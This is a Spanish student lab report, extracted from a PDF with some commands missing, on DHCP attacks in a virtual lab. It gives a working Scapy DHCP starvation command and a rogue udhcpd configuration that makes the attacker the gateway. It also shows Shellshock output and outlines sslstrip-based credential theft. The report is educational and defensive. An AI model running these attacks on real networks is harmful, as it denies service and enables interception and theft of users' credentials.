Professional Documents
Culture Documents
Padrn: 97676
morgan.lemarechal@telecom-sudparis.eu
DHCP
teora y ataques
SUMARIO
Captulo 1: Introduccin
Especifiaciones tecnicas....................................................................................................3
Maqueta..............................................................................................................................3
DORA..................................................................................................................................4
Puesta en marcha..............................................................................................................5
Experimentaciones...........................................................................................................6
Contra medidas.................................................................................................................7
Puesta en marcha..............................................................................................................8
Experimentaciones...........................................................................................................8
Contra medidas................................................................................................................10
Puesta en marcha.............................................................................................................11
Experimentaciones..........................................................................................................11
Contra medidas................................................................................................................13
Conclusin.............................................................................................................................13
Captulo 1: Introduccin
En el trabajo prctico anterior discutimos la teora del protocolo DHCP, y varios ataques que
puede sufrir tericamente el protocolo. El segundo trabajo prctico tiene como objetivo proporcionar
una experiencia prctica de los ataques estudiados previamente. Adems, tratramos de las contras
medidas que impiden estas fallas de ser usadas y probar estas soluciones en el maqueta para probar
su eficacia. Antes de entrar en los aspectos ms tcnicos, el trabajo se articular de la manera siguiente:
Primero, Armaremos un ataque por denegacin de servicio o DHCP starvation, y nos interesaremos en
la manera de poner el servidor fuera de servicio. Despus veremos que contra-medidas se pueden aplicar
para impedir una denegacin de servicio, y pondremos en prctica esta solucin.
Luego, haremos una experimentacin del primer tipo de ataque visto en el trabajo prctico 1 que
es el ataque por servidor rogue. De la misma manera que el ataque precedente, hablaremos de las
contra medidas que permiten de aniquilar cualquier intento.
Despus, intentaremos de poner en prctica la falla Shellshock, y ver si es posible de tirar un shell en
una mquina remota. Por fin, un ltimo escenario ser de realizar una combinacin de ataques para
mostrar las consecuencias que engendran.
En el modelo utilizado en este trabajo prctico, aqu son las especificaciones tcnicas de cada elemento:
Una mquina host que ejecuta Windows 7, y que se utilizar para la red virtualizada.
La virtualizacin se hace posible por el uso de VirtualBox.
La misma red se virtualiza a travs del software GNS que permite de crear arquitecturas de red.
Esto apoya el uso de VirtualBox, y provee la escucha del trfico gracias a Wireshark.
El Servidor DHCP se materializa mediante un router Cisco virtualizado, configurado para DHCP.
El switch utilizado proviene directamente de la implementacin propuesta por GNS3.
2 mquinas virtualizadas pertenecen a la red: un cliente y un atacante. Al principio el cliente
tendr Windows XP como OS, pero despus, yo usar una mquina andando con Ubuntu para
atacar con la falla Shellshock. El atacante tiene un Kali (Debian) equipado para atacar la red.
Cliente
?
Servidor DHCP
192.168.3.1
Red
192.168.3.0
Atacante
192.168.3.2
Captulo 1: Introduccin
Para entrar en el tema, vamos a presentar brevemente una secuencia banal : una asignacin de
direccin IP, en esto caso para el atacante, con el fin de ilustrar la teora del primer trabajo prctico. En
primer lugar, presentemos la configuracin DHCP que el servidor tendr a lo largo de este trabajo:
Las explicaciones de estas lneas de comandos: vamos a conectar la interfaz fastEternet 0/0 del router
(que acta como servidor DHCP) al switch que luego distribuye el resto de la red. No shutdown es para
encenderla, y definimos la direccin IP del router como especificado en el diagrama de la pgina anterior.
Despus, tenemos que configurar los parmetros DHCP del router: creamos un pool llamado tp y
luego especificamos la direccin de nuestra red y su mscara. El pool por defecto incluye 254
direcciones , de 192.168.3.1 a 192.168.3.254, sabiendo que la primera direccin se reserva para nuestro
servidor DHCP. Ahora, solo nos falta definir en la ltima lnea de nuestra secuencia de comando, el
default gateway. Nuestro servidor DHCP est configurado y listo para responder a los paquetes de
tipo DHCP Discover que recibe.
Cuando una mquina de la red se inicia, se puede observar va Wireshark estos paquetes circulando por
la red:
Recuperamos a travs de esta captura Wireshark, la secuencia llamada DORA: Discovery, Offer, Request,
Acknowledgment que describimos en el trabajo prctico anterior. Podemos despus verificar que la
maquina atacante tiene una configuracin IP, a travs de un ipconfig (Windows) o ifconfig (Unix):
kali# ifconfig
eth0 Link encap:Ethernet HWaddr 08:00:27:e6:a2:1c
inet adr:192.168.3.2 Bcast:192.168.3.255 /
Masque:255.255.255.0
adr inet6: fe80::a00:27ff:fee6:a21c/64 Scope:Lien
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:409 errors:0 dropped:0 overruns:0 frame:0
TX packets:132 errors:0 dropped:0 overruns:0 carrier:0
Nos enteramos de que el cliente est bien conectado ya el comando nos devuelve leased
addresses: 1. Ahora, nuestra mquina atacante va a intentar de agarrar todo el pool de direcciones. Por
eso, usamos Scapy que es una potente aplicacin para la manipulacin y la forja de paquetes:
kali#Scapy
>>> conf.checkIPaddr = False
>>> dhcp_discover = *
>>> sendp(dhcp_discover,loop=1)
*Comando completo:
dhcp_discover=Ether(src=RandMAC(),dst=ff:ff:ff:ff:ff:ff)/IP(src=0.0.0.0,d
st=255.255.255.255)/UDP(sport=68,dport=67)/BOOTP(chaddr=RandString(12,0123456789abcd
ef))DHCP(options=[(message-type,discover),end])
56789abcdef))
No tenemos direccin y enviamos el paquete en broadcast, entonces tenemos esos parmetros IP.
Despus, ya que es un paquete DHCP, hay que aadir la capa para BOOTP. chaddr o client hardware
address es la direccin MAC y tiene que ser gnerada por azar.
La ltima forma de verificar que el servidor DHCP est paralizado de hecho es enviar manualmente una
consulta de direccin desde el terminal de la mquina pirata:
kali#dhclient -v eth0
...
No DHCPOFFERS received.
No working leases in persistent database - sleeping
El primer comando nos permite activar el DHCP snooping en nuestro servidor y el segundo comando
nos permite verificar que se ha inicializado correctamente.
Desafortunadamente, entre todas las soluciones propuestas ninguna se puede implementar en GNS3
(excepto la primera, pero que es muy emprica) y por lo tanto es imposible probar por la experiencia
la eficacia de estas soluciones. La nica manera de demostrar esto sera el uso un modelo real en un
laboratorio en lugar de virtualizar de la red.
7
Servidor DHCP
192.168.3.1
Red
192.168.3.0
Atacante
192.168.3.2
Para armar nuestro ataque, vamos primero a lanzar un primer ataque DHCP starvation. El atacante antes
de empezar el ataque, pide una direccin (192.168.3.2). Del lado servidor, el pool est agotado:
DHCP#show ip dhcp pool tp
Utilization mark (high/low) : 100 / 0
Subnet size (first/next) : 0 / 0
Total addresses : 254
Leased addresses : 253
Pending event : none
1 subnet is currently in the pool :
Current index IP address range Leased addresses
0.0.0.0 192.168.3.1 - 192.168.3.254 253
El campo current index nos muestra que el servidor no recorre ms el pool. Udhcpd es un servicio que
permite de ejecutar un servidor DHCP muy sencillo por su mquina. Eso es el archivo de configuracin
que vamos a usar:
# /etc/udhcp.conf ---------------------------------------------------------------------------------------interface eth0
#interfaz usada por el atacante
start 192.168.3.3
#el mismo pool que le verdadero servidor
end 192.168.3.254
#pero sin la direccin del atacante
option subnet 255.255.255.0
#mscara
opt router 192.168.3.2
#gateway = atacante !!
option domain local
option lease 100000
#------------------------------------------------------------------------------------------------------------8
kali#/etc/init.d/udhcpd start
Starting very small DHCP server: udhcpd (v0.9) started
C:\>ipconfig
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix.:
IP Address...........................: 192.168.3.69
Subnet Mask..........................: 255.255.255.0
Default Gateway......................: 192.168.3.2
El ataque tiene xito porque la gateway que tiene el cliente es en realidad la direccin IP del atacante.
Luego, el atacante puede aprovecharse de una manera muy sencilla (no entramos en los detalles) de su
nuevo activo, mediante la combinacin de tres comandos muy potentes:
Nmap: Nmap (Network Mapper) es una herramienta de explotacin de red y auditora de
seguridad. Esta muy potente herramienta, permitir al atacante encontrar blancos para atacar
en la red, el nico requisito limitando es que el blanco debe ser una vctima del servidor
pirata. Una vez encontrado el blanco perfecto, el atacante puede empezar a escucharle.
Iptables: Iptables es un firewall, instalado por defecto en las distribuciones de Linux que
podra ayudar el atacante a redirigir el trfico : por ejemplo puerto 8080 (https) y 80 (http) para
escuchar los paquetes de una navegacin por Internet (Autenticacin a un buzn de correo, un
banco etc...).
Sslstrip: Sslstrip es un proxy SSL, diseado para hacer que las sesiones HTTP no cifrada se
ven tanto como sea posible con HTTPS sesiones. En nuestro caso, la herramienta permite de
descifrar la consulta para obtener por ejemplo los datos de un HTTPS POST (credenciales por
ejemplo).
Por lo que vemos que en la prctica, las consecuencias de esta combinacin de ataques pueden ser
desastrosas, ya que el cliente no tiene ninguna idea de lo que se pasa en la red. Las tres herramientas, si
se combinan, pueden permitir, por ejemplo, robar credenciales o datos bancarios. En nuestro caso no
podemos ir ms lejos, por la sencilla razn de que la red virtual no est conectada a Internet.
10
-----------------------------------------------------------------------------------------
kali#/etc/init.d/dnsmasq start
[OK] Starting DNS forwarder and DHCP server dnsmasq
Ahora, el cliente (Ubuntu) buscando una direccin recibe la configuracin maliciosa del atacante.
Podemos tirar manualmente una renovacin de la direccin a travs de dhclient -v, para ver los efectos
del ataque: (pgina siguiente)
11
Ubuntu(12.10)#dhclient eth0 -v
...
Listening on LPF/eth0/08:00:27:5a:8c:d2
Sending on LPF/eth0/08:00:27:5a:8c:d2
Sending on Socket/fallback
DHCPDISCOVER on eth0 to 255.255.255.255 port 67 /
interval 7
DHCPREQUEST 192.168.3.3 of on eth0 to 255.255.255.255 /
port 67
DHCPOFFER of 192.168.3.3 from 192.168.3.2
DHCPNAK from 192.168.3.1
DHCPACK of 192.168.3.3 from 192.168.3.2
Youve been shellshocked!!!
bound to 192.168.3.3 -- renewal in 32528 seconds.
12
Ubuntu(14.10)#dhclient eth0 -v
...
Listening on LPF/eth0/08:00:27:5a:8c:d2
Sending on LPF/eth0/08:00:27:5a:8c:d2
Sending on Socket/fallback
DHCPDISCOVER on eth0 to 255.255.255.255 port 67 /
interval 7
DHCPREQUEST 192.168.3.3 of on eth0 to 255.255.255.255 /
port 67
DHCPOFFER of 192.168.3.3 from 192.168.3.2
DHCPNAK from 192.168.3.1
DHCPACK of 192.168.3.3 from 192.168.3.2
bound to 192.168.3.3 -- renewal in 32528 seconds.
Conclusin
Para concluir, hemos visto a travs de esto trabajo prctico, que si no se toman medidas
eficaces desde el lado infraestructura (switch/router) o cliente (actualizaciones), ataques muy crticos
se pueden armar contra los usuarios de la red. Estos pueden variar desde una simple observacin de las
actividades del cliente hasta el robo de sus solicitudes HTTPS (contrasea de Gmail, Facebook, etc ...) y de los
credenciales de las cuentas usuarios de la mquina.
Este trabajo prctico, aunque muy interesante, sin embargo, no permiti que comprobemos por
nosotros mismos la eficacia de las contra medidas, ya que nuestro entorno de virtualizacin no nos
permite configurar las opciones snooping y port-security. Esto es debido al hecho de que la versin
bsica de GNS3 no maneja completamente la virtualizacin de los switchs. A nivel personal, fue muy
gratificante de llevar a cabo ataques que yo saba posibles, desde un punto de vista terico, pero que yo
nunca haba probado de un punto de vista prctico. A pesar de muchos problemas y horas pasadas para
resolverlos, esta trabajo prctico fue una buena experiencia.
13
DHCP
teora y ataques
Morgan Lemarechal
morgan.lemarechal@telecom-sudparis.eu
2014-2015